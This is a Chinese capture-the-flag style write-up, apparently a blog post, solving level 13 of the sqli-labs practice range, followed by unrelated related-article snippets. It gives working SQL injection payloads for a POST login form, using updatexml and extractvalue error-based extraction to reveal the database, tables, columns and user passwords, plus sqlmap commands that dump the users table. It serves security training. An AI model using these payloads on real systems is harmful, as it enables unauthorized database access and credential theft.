web——sqliabs靶场——第十三关——报错注入+布尔盲注

news/2024/11/23 4:02:53/

发现是单引号加括号闭合的 

尝试联合注入

发现不太行,那尝试报错注入。

测试报错注入

uname=admin') and updatexml(1,0x7e,3) -- +&passwd=admin&submit=Submit

爆数据库

uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),3) -- +&passwd=admin&submit=Submit

 

新学一个函数extractvalue()

extractvalue()
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘
最大只能显示32个字符,所以要配合limit进行使用

爆表名

uname=admin') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))-- +&passwd=admin&submit=Submit

 通过更改limit后的值来获得表名

爆列名

uname=admin') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1)))-- +&passwd=admin&submit=Submit

更改limit后的值来得到

爆具体内容 

uname=1')and updatexml(1,concat(0x7e,(select password from users limit 2,1)),3)#&passwd=admin&submit=Submit

布尔盲注

这个是post传参,和之前的不一样

用sqlmap的post传参来搞

1.用bp抓包,将抓包结果放在456.txt文件里

sqlmap -r 456.txt --batch -dbs 

 

查询到数据库名

2.查询表名

sqlmap -r 456.txt --batch -tables -D security

 

3.查询列名

sqlmap -r 456.txt --batch -columns -D security -T users

4.查询数据

sqlmap -r 456.txt --batch -dump -D security -T users -C password,username 

结束

 


http://www.ppmy.cn/news/1549204.html

相关文章

第七章 利用CSS和多媒体美化页面

7.1 CSS链接的美化 7.1.1.文字链接的美化 在HTML5中&#xff0c;<a></a >标签始终定义超链接&#xff0c;用于从一张页面链接到另一张页面&#xff0c;<a>元素最重要的属性是href 属性&#xff0c;它指示链接的目标&#xff0c;如果未设置 href属性&#x…

MagicQuill - 智能交互式图像编辑系统 涂涂画画即可完成P图 本地一键整合包下载

MagicQuill 是阿里巴巴联合香港科技大学、浙江大学和香港大学推出的一款开源 AI 互动式图像编辑工具&#xff0c;让图片编辑变得简单、智能又随心所欲&#xff01;双画笔交互模式获赞&#xff0c;精准度惊人。即便是 Photoshop 小白&#xff0c;也能轻松上手。用几笔涂抹加一句…

MySQL SELECT 语句执行链路解析

文章目录 1. 简介2. MySQL SELECT 执行链路总览2.1 执行链路概览2.2 示例查询语句 3. 连接器3.1 连接器的作用3.2 连接的类型3.3 用户权限验证3.4 连接器的性能影响 4. 查询缓存4.1 查询缓存的工作原理4.2 查询缓存的命中条件4.3 查询缓存的优缺点 5. 解析器与预处理器5.1 解析…

【机器学习】机器学习中用到的高等数学知识-6. 组合数学 (Combinatorics)

组合计数&#xff1a;用于计算特征选择和模型复杂度。 组合数学 (Combinatorics) 组合数学是研究有限或可数对象的组合、排列及计数规律的数学分支&#xff0c;在计算特征选择、模型复杂度和优化算法中有着广泛应用。以下详细介绍组合计数的概念、公式、推导过程以及实际应用…

【DBA攻坚指南:左右Oracle,右手MySQL-学习总结】

处理log file sync等待事件 首先明确什么是log file sync等待事件 从用户提交会话开始&#xff0c;LGWR进程将redo缓存中的信息写入redo日志文件后&#xff0c;LGWR进程通知用户写操作完成&#xff0c;到用户会话接受到LGWR进程通知为止&#xff0c;这整个过程就是可能出现lo…

【初阶数据结构篇】双向链表的实现(赋源码)

文章目录 须知 &#x1f4ac; 欢迎讨论&#xff1a;如果你在学习过程中有任何问题或想法&#xff0c;欢迎在评论区留言&#xff0c;我们一起交流学习。你的支持是我继续创作的动力&#xff01; &#x1f44d; 点赞、收藏与分享&#xff1a;觉得这篇文章对你有帮助吗&#xff1…

LLaMA-Factory 上手即用教程

LLaMA-Factory 是一个高效的大型语言模型微调工具&#xff0c;支持多种模型和训练方法&#xff0c;包括预训练、监督微调、强化学习等&#xff0c;同时提供量化技术和实验监控&#xff0c;旨在提高训练速度和模型性能。 官方开源地址&#xff1a;https://github.com/hiyouga/L…

什么是 C++ 中的移动语义?它的作用是什么?右值引用是什么?如何使用右值引用实现移动语义?

参考文献&#xff1a;利用移动语义优化 C 程序性能的实用指南_c什么是移动语义-CSDN博客 定义 移动语义允许资源的“移动”而不是“拷贝”。在传统的 C 中&#xff0c;当一个对象被赋值或传递给函数时&#xff0c;通常会发生拷贝操作&#xff0c;这会导致性能下降&#xff0c…